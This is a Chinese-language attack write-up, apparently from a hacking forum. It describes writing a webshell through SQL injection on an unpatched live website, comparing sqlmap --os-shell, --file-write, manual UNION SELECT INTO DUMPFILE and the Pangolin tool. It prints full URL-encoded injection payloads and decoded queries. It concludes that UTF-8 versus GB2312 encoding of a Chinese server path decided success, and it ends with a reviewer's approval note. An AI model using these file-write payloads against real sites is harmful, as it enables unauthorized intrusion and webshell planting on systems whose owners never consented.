|
0x00 背景 之前在看90的审核文章时,看到了一篇关于域渗透方面的文章,其中讲到了一个mysql写shell 的问题。 许多朋友发现Pangolin(穿山甲)比sqlmap写文件好用的多。 找到该网址,发现注入漏洞仍未修复,分别尝试sqlmap、穿山甲、手动写入方式进行写入,利用wireshark抓包获取playload,进行分析。
0x01 测试 1. Sqlmap –os-shell Sqlmap -u "http://xxxxxx.com/newsshow.php?id=230"--os-shell
出错 写入失败
2.Sqlmap –file-write –file-dest Sqlmap -u "http://xxxxx.com/newsshow.php?id=230"--file-write "xx.txt" --file-dest "d:\\xxx\\网站程序\\inc\\xz.php"
/newsshow.php?id=-6475%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20CONCAT%280x3a7761633a%2CIFNULL%28CAST%28LENGTH%28LOAD_FILE%28CONVERT%280x643a2fe9ab98e883bd2fe7bd91e7ab99e7a88be5ba8f2f696e632f787a2e706870%20USING%20utf8%29%29%29%20AS%20CHAR%29%2C0x20%29%2C0x3a6872613a%29%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%23 url解码后为: /newsshow.php?id=-6475 UNION ALL SELECTNULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,NULL, NULL, NULL, NULL, NULL, NULL,CONCAT(0x3a7761633a,IFNULL(CAST(LENGTH(LOAD_FILE(CONVERT(0x643a2fe9ab98e883bd2fe7bd91e7ab99e7a88be5ba8f2f696e632f787a2e706870USING utf8))) AS CHAR),0x20),0x3a6872613a), NULL, NULL, NULL, NULL, NULL, NULL#
16进制:0x643a2fe9ab98e883bd2fe7bd91e7ab99e7a88be5ba8f2f696e632f787a2e706870
解码后为:d:/高能/网站程åo/inc/xz.php (乱码) 写入失败 3.手动写入 利用firefox hackbar的url编码 /newsshow.php?id=230%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20into%20dumpfile%20%27D:\\%E9%AB%98%E8%83%BD\\%E7%BD%91%E7%AB%99%E7%A8%8B%E5%BA%8F\\inc\xx.php%27%20— url utf-8解码后为:D:\\xxx\网站程序\\inc\xx.php
写入失败
4.穿山甲写入 /newsshow.php?id=230%20and%201=2%20union%20select%200,0,0,0,0,0,concat(char(115),char(100),char(115),char(100),char(115)),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20into%20dumpfile%20'd:%5C%5C%5C%5C%B8%DF%C4%DC%5C%5C%5C%5C%CD%F8%D5%BE%B3%CC%D0%F2%5C%5C%5C%5Cinc%5C%5C%5C%5Cxs.php'— 用firefox的hackbar解码为 之前一直没想通,这个很明显是url编码的为什么解不成功 后续在小伙伴的提示下,发现url的编码有utf-8 和gb2312两种,后来在站长工具的网站上解码成功
写入成功
0x02 结论 url编码共有两种utf-8和 gb2312 sqlmap是utf-8编码,当物理路径为英文时,没有问题。 穿山甲 采用的gb2312编码方式,故在中英文都是可以得。 Firefox hackbar带的url编码是utf-8格式。
===============================
学习和研究精神值得学习,故通过。
|